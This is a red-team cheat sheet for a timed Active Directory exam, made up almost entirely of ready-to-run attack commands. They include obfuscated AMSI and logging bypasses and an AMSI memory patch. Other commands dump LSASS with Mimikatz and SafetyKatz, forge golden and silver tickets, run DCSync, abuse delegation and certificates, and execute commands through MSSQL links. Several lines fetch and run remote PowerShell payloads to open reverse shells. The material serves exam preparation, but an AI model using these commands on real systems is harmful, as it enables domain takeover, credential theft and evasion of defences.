Cheat Sheet

As we know, these exams are time-based. So, I created this cheat sheet to make sure the syntax of the commands are correct and consequently I dont lose any time with BS.

The important part is to understand the content; the cheat sheet is just an auxiliary tool in the process.

  • There is no hashes or informations of the exams here!

Copy Button added - tell me what u think

Bypass

 

AMSI bypass:

Set-Item ('Va'+'rI'+'a'+'blE:1'+'q2'+'uZx') ([TYpE]("F"+'rE')) 
(Get-variable (('1Q'+'2U') +'zX'))."A`ss`Embly"."GET`TY`Pe"(('Uti'+'l','A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em'))).g`etf`iElD"(('a'+'msi'),'d',('I'+'nitF'+'aile'))).(sE`T`VaLUE)(${n`ULl},${t`RuE})

Script Block logging bypass:

[Reflection.Assembly]::"l`o`AdwIThPa`Rti`AlnamE"(('S'+'ystem'+'.C'+'ore'))."g`E`TTYPE"(('Sys'+'tem.Di'+'agno'+'stics.Event'+'i'+'ng.EventProv'+'i'+'der'))."gET`FI`eLd"(('m'+'_'+'enabled'),('NonP'+'ubl'+'ic'+',Instance'))."seTVa`l`Ue"([Ref]."a`sSem`BlY"."gE`T`TyPE"(('Sys'+'tem'+'.Mana'+'ge'+'ment.Aut'+'o'+'mation.Tracing.'+'PSEtwLo'+'g'+'Pro'+'vi'+'der'))."gEtFIe`Ld"(('e'+'twProvid'+'er'),('N'+'o'+'nPu'+'b'+'lic,Static'))."gE`Tva`lUe"($null),0)

.NET AMSI bypass:

$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string
procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr
dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$BBWHVWQ =
[ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('amsi.dll'))")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ,
"$([systeM.neT.webUtility]::HtMldECoDE('AmsiScanBuffer'))")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)
Enumeration

 

AD Module: Import:

Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

Get-ADUser -Filter * | Select -ExpandProperty samaccountname
Get-ADComputer –Filter * | select –expand name
Get-ADGroup -Identity 'Domain Admins' -Properties *
Get-ADGroup -Identity machineadmins -Properties Description
Get-ADGroupMember -Identity 'Domain Admins'
Get-ADGroupMember -Identity 'Enterprise Admins'
Get-ADGroupMember -Identity 'Enterprise Admins' -Server domain.local
Get-ADOrganizationalUnit -Identity 'OU=StudentsMachines,DC=us,DC=domain,DC=local' | %{Get-ADComputer -SearchBase $_ -Filter *} | select name
Get-ACL 'AD:\CN=Domain Admins,CN=Users,DC=us,DC=domain,DC=local' | select -ExpandProperty Access
(Get-ADForest).Domains
Get-ADTrust -Filter *
Get-ADTrust -Filter 'intraForest -ne $True' -Server (Get-ADForest).Name
(Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server $_}
Get-ADTrust -Filter * -Server domain.local

Powerview: Import

. C:\AD\Tools\PowerView.ps1

(Get-DomainPolicy).KerberosPolicy
Get-DomainGPOLocalGroup
Get-DomainGroupMember -Identity <group>
Get-DomainOU
(Get-DomainOU -Identity <OU>).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
Get-DomainGPO
(Get-DomainOU -Identity <OU>).gplink
Get-DomainGPO -Identity '{<result of .gplink>}'
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<user>"}
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<group>"}
Get-ForestDomain -Verbose | Get-DomainTrust | ?{$_.TrustAttributes -eq 'FILTER_SIDS'}
Get-ForestTrust -Forest <forest>
Local Privesc

 

C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
. C:\AD\Tools\PowerUp.ps1
Invoke-AllChecks
Invoke-ServiceAbuse -Name ALG -UserName domain\studentuserx -Verbose

Same attack with accesschk64 from SysInternals:

.\accesschk64.exe -uwcqv 'user' *

sc.exe config ALG binPath= "net localgroup administrators domain\user
/add"
sc.exe stop ALG
sc.exe start ALG
sc.exe config ALG binPath= "C:\WINDOWS\System32\alg.exe"
sc.exe stop ALG
sc.exe start ALG

Look for local administrative access w/ Powerview:

Find-LocalAdminAccess -Verbose
Find-WMILocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess.ps1

Recursively look for group membership:

function Get-ADPrincipalGroupMembershipRecursive ($SamAccountName) {
  $groups = @(Get-ADPrincipalGroupMembership -Identity $SamAccountName | select -ExpandProperty distinguishedname) 
  $groups
  if ($groups.count -gt 0) {
    foreach ($group in $groups) {
      Get-ADPrincipalGroupMembershipRecursive $group
    }
  }
}

ACL entries

Check if any of the groups has interesting ACL entries:

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match 'managers'}
Get-DomainObjectAcl -Identity machineadmins -ResolveGUIDs | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match 'managers'}
LAPS 
Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
Import-Module C:\AD\Tools\AdmPwd.PS\AdmPwd.PS.psd1 -Verbose
C:\AD\Tools\Get-LapsPermissions.ps1

With Powerview:

Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectAceType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier); $_}

Read the password:

Get-ADComputer -Identity <computer> -Properties ms-mcs-admpwd | select -ExpandProperty ms-mcs-admpwd
Get-AdmPwdPassword -ComputerName <computer>
Get-DomainObject -Identity <computer> | select -ExpandProperty ms-mcs-admpwd

Access the machine with the password:

winrs -r:<computer> -u:.\administrator -p:<passwd> cmd
$passwd = ConvertTo-SecureString '<password>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<computer>\administrator", $passwd)
$mailmgmt = New-PSSession -ComputerName <computer> -Credential $creds
$mailmgmt
Extract Credentials

 

winrs:

winrs net use x: \\<computer>\C$\Users\Public /user:<computer>\Administrator <password>
echo F | xcopy C:\AD\Tools\Loader.exe x:\Loader.exe
net use x: /d

Bypass behaviour detection:

winrs -r:<computer> -u:.\administrator -p:<password> cmd
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.100.X

Extract:

C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe
sekurlsa::keys

Microsoft signed binary to download NetLoader:

winrs -r:<computer> -u:.\administrator -p:<password>
"bitsadmin /transfer WindowsUpdates /priority normal http://127.0.0.1:8080/Loader.exe C:\\Users\\Public\\Loader.exe"

PowerShell Remoting and Invoke-Mimi:

$passwd = ConvertTo-SecureString '<password>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<computer>\administrator", $passwd)
$mailmgmt = New-PSSession -ComputerName <computer> -Credential $creds
Enter-PSSession $mailmgmt

Bypass AMSI before proceeding!

Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimi.ps1 -Session $mailmgmt
Enter-PSSession $mailmgmt
Invoke-Mimi -Command '"sekurlsa::keys"'
gMSA

 

C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
Get-ADServiceAccount -Filter *
Get-ADServiceAccount -Identity jumpone -Properties * | select PrincipalsAllowedToRetrieveManagedPassword

You have to open a shell with the user that has permission to read gMSA, after that

Import AD Module again, then:
$Passwordblob = (Get-ADServiceAccount -Identity jumpone -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
To decode the password we can use DSinternals:
Import-Module C:\AD\Tools\DSInternals_v4.7\DSInternals\DSInternals.psd1
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash –Password $decodedpwd.SecureCurrentPassword

After that, you can PTH to see if the user has access to another machine!

PTH

From an elevated shell:

C:\AD\Tools\SafetyKatz.exe "sekurlsa::opassth /user:<user> /domain:<domain> /aes256:<password> /run:cmd.exe" "exit"

using NTLM:

C:\AD\Tools\SafetyKatz.exe "sekurlsa::opassth /user:<user> /domain:<domain>  /ntlm:<password> /run:cmd.exe" "exit"

C:\AD\Tools\Rubeus.exe s4u /user:<user> /aes256:<password> /impersonateuser:administrator /msdsspn:CIFS/<machine.domain> /altservice:HTTP /domain:<domain> /ptt

Doesn’t need elevation:

C:\AD\Tools\Rubeus.exe asktgt /domain:<domain> /user:<user> /aes256:<password> opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
Application Whitelisting

CLM, AppLocker, WDAC

Verify if PowerShell is running in Constrained Language Mode:

$ExecutionContext.SessionState.LanguageMode

Check for AppLocker (if there is an error, the AppLocker is not in use):

reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2
Get-AppLockerPolicy –Effective

Verify WDAC:

Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
CodeIntegrityPolicyEnforcementStatus : 2
UsermodeCodeIntegrityPolicyEnforcementStatus : 2

Check out Lolbas Project on Github

Lets DUMP lsass*

Get the PID of lsass.exe process:

tasklist /FI "IMAGENAME eq lsass.exe"
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 708 C:\Users\Public\lsass.dmp full

Copy the lsass to your machine:

echo F | xcopy \\us-jump\C$\Users\Public\lsass.dmp C:\AD\Tools\lsass.dmp

Run Mimikatz with Admin Priv, then:

sekurlsa::minidump C:\AD\Tools\lsass.DMP
privilege::debug
sekurlsa::keys

Check for Certificates:

echo F | xcopy C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat \\us-jump\C$\Users\Public\RunWithRegistryNonAdmin.bat /Y
echo F | xcopy C:\AD\Tools\InviShell\InShellProf.dll \\us-jump\C$\Users\Public\InShellProf.dll /Y

winrs -r:us-jump cmd
C:\Users\Public\RunWithRegistryNonAdmin.bat
ls cert:\LocalMachine\My
ls cert:\LocalMachine\My\BAD78F43BB4CB13C4843E49B51AA051530FFBBDB | Export-PfxCertificate -FilePath C:\Users\Public\user.pfx -Password (ConvertTo-SecureString -String 'SecretPass@123' -Force -AsPlainText)

Copy the certificate:

echo F | xcopy \\us-jump\C$\Users\Public\user.pfx C:\AD\Tools\user.pfx
Unconstrained delegation

 

Get-ADComputer -Filter {TrustedForDelegation -eq $True}

Access the machine with unconstrained deleg, then:

C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
cd C:\AD\Tools\
. C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess -Verbose

Copy Rubeus using xcopy and execute using winrs:

echo F | xcopy C:\AD\Tools\Rubeus.exe \\us-web\C$\Users\Public\Rubeus.exe /Y
winrs -r:us-web cmd.exe
C:\Users\Public\Rubeus.exe monitor /targetuser:DC$ /interval:5 /nowrap

Copy and execute Rubeus using PowerShell Remoting:

$usweb1 = New-PSSession us-web
Copy-Item -ToSession $usweb1 -Path C:\AD\Tools\Rubeus.exe -Destination C:\Users\Public
Enter-PSSession $usweb1
cd C:\Users\Public .\Rubeus.exe monitor /targetuser:DC$ /interval:5 /nowrap

Abuse the printer bug:

C:\AD\Tools\MS-RPRN.exe \\dc.domain.local \\us-web.domain.local

Copy the Base64EncodedTicket, then:

C:\AD\Tools\Rubeus.exe ptt /ticket:TGTofDC$

Run DCSync attack:

C:\AD\Tools\SharpKatz.exe --Command dcsync --User domain\krbtgt --Domain domain.local --DomainController dc.domain.local

To get EA access

it’s the same:

  1. Monitor the DC of the root of the forest
  2. Execute MS-RPRN with the DC target
  3. Copy the Base64 and PTT
  4. DCSync EA (Administrator of the root forest)
C:\AD\Tools\SharpKatz.exe --Command dcsync --User domain\administrator --Domain domain.local --DomainController domain-dc.domain.local

In a different forest

If TGT Delegation is enabled across forests trusts, we can abuse the printer bug across two-way forest trusts as well.

  1. ASKTGT
  2. Send Rubeus to the target machine
  3. Access the machine with WINRS
  4. Execute Rubeus monitor (with the Target Forest)
  5. Execute MS-RPRN (with the Target Forest)
  6. Copy base64 & PTT with Rubeus

Now we can run DCSync to the Targeted Forest:

C:\AD\Tools\SharpKatz.exe --Command dcsync --User usvendor\krbtgt --Domain usvendor.local --DomainController usvendor-dc.usvendor.local
Constrained delegation

 

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Collect the service from msDS-AllowedToDelegateTo and access with Rubeus S4U:

klist
winrs -r:us-mssql.domain.local cmd.exe

To execute on another Forest just add the flag -Server:

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo -Server domain.local

We need access to the machine that has Constrained Deleg enabled:

C:\AD\Tools\Rubeus.exe hash /password:Qwerty@123 /user:<user> /domain:domain.local
C:\AD\Tools\Rubeus.exe s4u /user:<user> /rc4:<hash> /impersonateuser:Administrator /domain:domain.local /msdsspn:nmagent/dc.domain.local /altservice:ldap /dc:dc.domain.local /ptt

With the LDAP service ticket, We can DCSync:

C:\AD\Tools\SharpKatz.exe --Command dcsync --User domain\krbtgt --Domain domain.local --DomainController dc.domain.local
C:\AD\Tools\SharpKatz.exe --Command dcsync --User domain\administrator --Domain domain.local --DomainController dc.domain.local
ACLs Write Permissions

If you have Write permission:

echo F | xcopy C:\AD\Tools\Loader.exe \\us-mgmt\C$\Users\Public\Loader.exe /Y
winrs -r:us-mgmt cmd
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.100.x
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe
sekurlsa::keys

If you get any user, run the full enumeration on that user:

C:\AD\Tools\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match 'mgmtadmin'}

With GenericWrite we can set Resource-based Constrained Delegation (RBCD):

C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
$comps = 'user1$','user2$'
Set-ADComputer -Identity us-helpdesk -PrincipalsAllowedToDelegateToAccount $comps -Verbose

Extract AES of your machine:

C:\AD\Tools\SafetyKatz.exe -Command "sekurlsa::keys" "exit"

Go for the one with SID S-1-5-18 that is a well-known SID for the SYSTEM user:

C:\AD\Tools\Rubeus.exe s4u /user:machine$ /aes256:$password /msdsspn:http/us-helpdesk /impersonateuser:administrator /ptt
klist
winrs -r:us-helpdesk cmd

To copy our loader to the machine, we need to access the filesystem. So, request a TGS for CIFS using Rubeus:

C:\AD\Tools\Rubeus.exe s4u /user:machine$ /aes256:$password /msdsspn:cifs/us-helpdesk /impersonateuser:administrator /ptt
echo F | xcopy C:\AD\Tools\Loader.exe \\us-helpdesk\C$\Users\Public\Loader.exe /Y
winrs -r:us-helpdesk cmd
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.100.x
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe

If any new users are found, PTH and Find-PSRemotingLocalAdminAccess -Verbose

Tickets

 

GOLDEN

Without using Invoke-Mimi.ps1:

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /User:Administrator /domain:<domain> /sid:<SID> /aes256:<hash> /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"
klist
echo F | xcopy C:\AD\Tools\Loader.exe \\dc\C$\Users\Public\Loader.exe /Y
winrs -r:dc cmd
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.100.x
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe

Using Invoke-Mimi.ps1 and PowerShell Remoting:

. C:\AD\Tools\Invoke-Mimi.ps1
Invoke-Mimi -Command '"kerberos::golden /User:Administrator /domain:<domain> /sid:<SID> /aes256:<hash> /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
$sess = New-PSSession <machine name>
Enter-PSSession -Session $sess

# bypass AMSI 

exit
Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimi.ps1 -Session $sess
Enter-PSSession -Session $sess
Invoke-Mimi -Command '"lsadump::lsa /patch"'

SILVER

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /User:Administrator /domain:<domain> /sid:<SID> /target:<target> /service:HOST /aes256:<hash> /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"
klist

Start a listening in another prompt:

C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
. C:\AD\Tools\powercat.ps1
powercat -l -v -p 443 -t 1000
schtasks /create /S <target machine> /SC Weekly /RU "NT Authority\SYSTEM" /TN "Userx" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.100.x/Invoke-PowerShellTcpEx.ps1''')'"
schtasks /Run /S <target machine> /TN "Userx"

We should get a shell on the listener prompt.

For WMI, we need 2 tickets – HOST and RPCSS

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /User:Administrator /domain:<domain> /sid:<SID> /target:<target dc> /service:HOST /aes256:<hash> /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /User:Administrator /domain:<domain> /sid:<SID> /target:<target dc> /service:RPCSS /aes256:<hash> /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"
Get-WmiObject -Class win32_operatingsystem -ComputerName <computer name>
DCSync

 

C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
. C:\AD\Tools\PowerView.ps1

Check if the user has Replication Rights:

Get-DomainObjectAcl -SearchBase "dc=us,dc=domain,dc=local" -SearchScope Base -ResolveGUIDs | ?{($_.ObjectAceType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "studentuserx"}

With DA privileges We can add those rights:

C:\AD\Tools\SafetyKatz.exe "sekurlsa::opassth /user:administrator /domain:domain.local /aes256:<hash> /run:cmd.exe" "exit"

Using Powerview:

Add-DomainObjectAcl -TargetIdentity "dc=us,dc=domain,dc=local" -PrincipalIdentity studentuserx -Rights DCSync -PrincipalDomain domain.local -TargetDomain domain.local -Verbose

Using AD Module with Set-ADACL from RACE:

Set-ADACL -DistinguishedName 'DC=us,DC=domain,DC=local' -SamAccountName studentuserx -GUIDRight DCSync -Verbose

From a normal shell, check the rights again

Now we can execute DCSync attacks:

C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:domain\krbtgt" "exit"
Invoke-Mimi -Command '"lsadump::dcsync /user:domain\krbtgt"'
AD CS

 

C:\AD\Tools\Certify.exe cas
C:\AD\Tools\Certify.exe find

ENROLLEE_SUPPLIES_SUBJECT attribute means we can request a certificate for ANY user:

C:\AD\Tools\Certify.exe find /enrolleeSuppliesSubject
C:\AD\Tools\Rubeus.exe asktgt /user:<user> /certificate:C:\AD\Tools\user.pfx /password:SecretPass@123 /nowrap /ptt
C:\AD\Tools\Certify.exe request /ca:domain-DC.domain.local\DOMAIN-DC-CA /template:ForAdminsofPrivilegedAccessWorkstations /altname:Administrator

Copy all the text between —–BEGIN RSA PRIVATE KEY—– and —–END CERTIFICATE—– and save it to cert.pem

C:\AD\Tools\openssl\openssl.exe pkcs12 -in C:\AD\Tools\cert.pem -keyex -CSP “Microsoft Enhanced Cryptographic Provider v1.0” -export -out C:\AD\Tools\DA.pfx

Finally, request a TGT for the DA:

C:\AD\Tools\Rubeus.exe asktgt /user:Administrator /certificate:C:\AD\Tools\DA.pfx /password:SecretPass@123 /nowrap /ptt
winrs -r:dc whoami

For EA

Request and convert to PFX, then request the TGT:

C:\AD\Tools\Rubeus.exe asktgt /user:domain.local\Administrator /dc:domain-dc.domain.local /certificate:C:\AD\Tools\EA.pfx /password:SecretPass@123 /nowrap /ptt
winrs -r:domain-dc whoami
Azure AD Connect 
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Server domain.local -Properties * | select SamAccountName,Description | fl
C:\AD\Tools\Rubeus.exe asktgt /domain:domain.local /user:<user> /aes256:<hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
echo F | xcopy C:\AD\Tools\InviShell\InShellProf.dll \\us-adconnect\C$\Users\<user>\Downloads\InShellProf.dll /Y
echo F | xcopy C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat \\us-adconnect\C$\Users\<user>\Downloads\RunWithRegistryNonAdmin.bat /Y
winrs -r:us-adconnect cmd
cd C:\Users\<user>\Downloads
RunWithRegistryNonAdmin.bat

Extract credentials of MSOL_:

iex (New-Object Net.WebClient).DownloadString('http://192.168.100.x/adconnect.ps1')
ADconnect

Now we can run DCsync (From elevated shell):

runas /user:domain.local\MSOL_16fb75d0227d /netonly cmd
C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:domain\administrator /domain:domain.local" "exit"

DCsync (from a normal shell):

runas /user:domain.local\MSOL_16fb75d0227d /netonly cmd
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
. C:\AD\Tools\Invoke-Mimi.ps1
Invoke-Mimi -Command '"lsadump::dcsync /user:domain\administrator /domain:domain.local"'
Domain Privesc (TrustKey & KRBTGT)

 

Using TRUSTKEY

With DA - Escalate to EA or DA of the parent domain:

C:\AD\Tools\Rubeus.exe asktgt /user:administrator /aes256:<hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
echo F | xcopy C:\AD\Tools\Loader.exe \\dc\C$\Users\Public\Loader.exe /Y
winrs -r:dc cmd
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.100.x
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe
lsadump::trust /patch

Grab the RC4 of [ In ] child domain -> parent domain**

Create the inter-realm TGT using the trust key:

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /domain:domain.local /sid:S-1-5-21-210670787-2521448726-163245708 /sids:S-1-5-21-2781415573-3701854478-2406986946-519 /rc4:<hash> /user:Administrator /service:krbtgt /target:domain.local /ticket:C:\AD\Tools\trust_tkt.kirbi" "exit"

C:\AD\Tools\Rubeus.exe asktgs /ticket:C:\AD\Tools\trust_tkt.kirbi /service:CIFS/domain-dc.domain.local /dc:domain-dc.domain.local /ptt

klist

dir \\domain-dc.domain.local\c$

 

Using KRBTGT Hash

Create inter-realm TGT with SID history for Enterprise Admins:

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-210670787-2521448726-163245708 /krbtgt:<hash> /sids:S-1-5-21-2781415573-3701854478-2406986946-519 /ptt" "exit"
klist
winrs -r:domain-dc cmd
Abuse Trust Relationship (Forest)

 

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:<domain> /sid:<SID> /aes256:<hash> /ptt"
lsadump::dcsync /user:domain\user$ /domain:domain.local

Copy SafetyKatz and Rubeus:

echo F | xcopy C:\AD\Tools\BetterSafetyKatz.exe \\dc.domain.local\C$\Users\Public\BetterSafetyKatz.exe /Y
echo F | xcopy C:\AD\Tools\Rubeus.exe \\dc.domain.local\C$\Users\Public\Rubeus.exe /Y

Forge an inter-realm TGT:

winrs -r:dc.domain.local cmd
C:\Users\Public\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:<domain> /sid:<SID> /rc4:<hash> /service:krbtgt /target:domain.local /sids:S-1-5-21-4066061358-3942393892-617142613-519 /ticket:C:\Users\Public\sharedwithdomain.kirbi" "exit"
C:\Users\Public\Rubeus.exe asktgs /ticket:C:\Users\Public\sharedwithdomain.kirbi /service:CIFS/dc.domain.local /dc:dc.domain.local /ptt

With the CIFS service we can access the share:

dir \\dc.domain.local\eushare

Access the target forest using PowerShell Remoting

Check if SIDHistroy is enabled for the trust between the 2 Forests:

echo F | xcopy C:\AD\Tools\InviShell\InShellProf.dll \\dc.domain.local\C$\Users\Public\InShellProf.dll /Y
echo F | xcopy C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat \\dc.domain.local\C$\Users\Public\RunWithRegistryNonAdmin.bat /Y
winrs -r:dc.domain.local cmd
C:\Users\Public\RunWithRegistryNonAdmin.bat

Check if there are any groups with SID>1000:

Get-ADGroup -Filter 'SID -ge "S-1-5-21-4066061358-3942393892-617142613-1000"' -Server domain.local

Create an inter-realm ticket and Inject the SIDHistory:

C:\Users\Public\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-3657428294-2017276338-1274645009 /rc4:<hash> /service:krbtgt /target:domain.local /sids:S-1-5-21-4066061358-3942393892-617142613-1103 /ticket:C:\Users\Public\domainnet.kirbi" "exit"

Request a TGS for HTTP:

C:\Users\Public\Rubeus.exe asktgs /ticket:C:\Users\Public\domainnet.kirbi /service:HTTP/domain-net.domain.local /dc:dc.domain.local /ptt
winrs -r:domain-net.domain.local cmd
whoami /groups
MSSQL

Enumerate database links:

Import-Module .\PowerupSQL-master\PowerupSQL.psd1
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
Get-SQLServerLink -Instance us-mssql.domain.local -Verbose
Get-SQLServerLinkCrawl -Instance us-mssql -Verbose
Get-SQLServerLinkCrawl -Instance us-mssql -Query 'exec master..xp_cmdshell ''whoami'''

Open a Listener:

. .\powercat.ps1
powercat -l -v -p 443 -t 1000
Get-SQLServerLinkCrawl -Instance us-mssql -Query 'exec master..xp_cmdshell ''powershell -c "iex (iwr -UseBasicParsing http://192.168.100.X/sbloggingbypass.txt);iex (iwr -UseBasicParsing http://192.168.100.X/amsibypass.txt);iex (iwr -UseBasicParsing http://192.168.100.X/Invoke-PowerShellTcpEx.ps1)"'''

Enable RPC Out and xp_cmdshell with SA permission:

Invoke-SqlCmd -Query "exec sp_serveroption @server='db-sqlsrv', @optname='rpc', @optvalue='TRUE'"
Invoke-SqlCmd -Query "exec sp_serveroption @server='db-sqlsrv', @optname='rpc out', @optvalue='TRUE'"
Invoke-SqlCmd -Query "EXECUTE ('sp_configure ''show advanced options'',1;reconfigure;') AT ""db-sqlsrv"""
Invoke-SqlCmd -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure') AT ""db-sqlsrv"""

Now Try to execute commands recursively again:

Get-SQLServerLinkCrawl -Instance us-mssql -Query 'exec master..xp_cmdshell ''whoami'''

Execute commands in a particular link database:

Get-SQLServerLinkCrawl -Instance us-mssql -Query 'exec master..xp_cmdshell ''powershell -c "iex (iwr -UseBasicParsing http://192.168.100.x/sbloggingbypass.txt);iex (iwr -UseBasicParsing http://192.168.100.x/amsibypass.txt);iex (iwr -UseBasicParsing http://192.168.100.x/Invoke-PowerShellTcpEx.ps1)"''' -QueryTarget db-sqlsrv
Foreign Security Principals (FSPs)

 

iex (New-Object Net.WebClient).DownloadString('http://192.168.100.x/PowerView.ps1')
Note: Make sure to bypass AMSI before executing powershell commands
Get-ForestTrust

Search for:

  • TrustType: Forest
  • TrustDirection: Bidirectional
Find-InterestingDomainAcl -ResolveGUIDs -Domain dbvendor.local

See if any IdentityReferenceName has ActiveDirectoryRights (GenericAll) to any ObjectDN

Set-DomainUserPassword -Identity dbxsvc -AccountPassword (ConvertTo-SecureString 'Password@123' -AsPlainText -Force) -Domain dbvendor.local –Verbose

Enumerate FSPs:

Find-ForeignGroup –Verbose

Get-DomainUser:

Get-DomainUser -Domain dbvendor.local | ?{$_.ObjectSid -eq 'S-1-5-21-569087967-1859921580-1949641513-4101'}

Accessing with WINRS:

winrs -r:db-dc.db.local -u:dbvendor\dbxsvc -p:Password@123 "whoami"

Accessing with PowerShell Remote:

$passwd = ConvertTo-SecureString 'Password@123' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("dbvendor\dbxsvc", $passwd)
$dbdc = New-PSSession -Computername db-dc.db.local -Credential $creds
Invoke-Command -scriptblock{whoami;hostname} -Session $dbdc
PAM Trust

 

Enumerate Foreign Security Principals:

Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} -Server domain.local

Find out which group DA it is a member of:

Get-ADGroup -Filter * -Properties Member -Server domain.local | ?{$_.Member -match 'S-1-5-21-2781415573-3701854478-2406986946-500'}

In this case the DA is a member of the built-in administrators group on the target forest

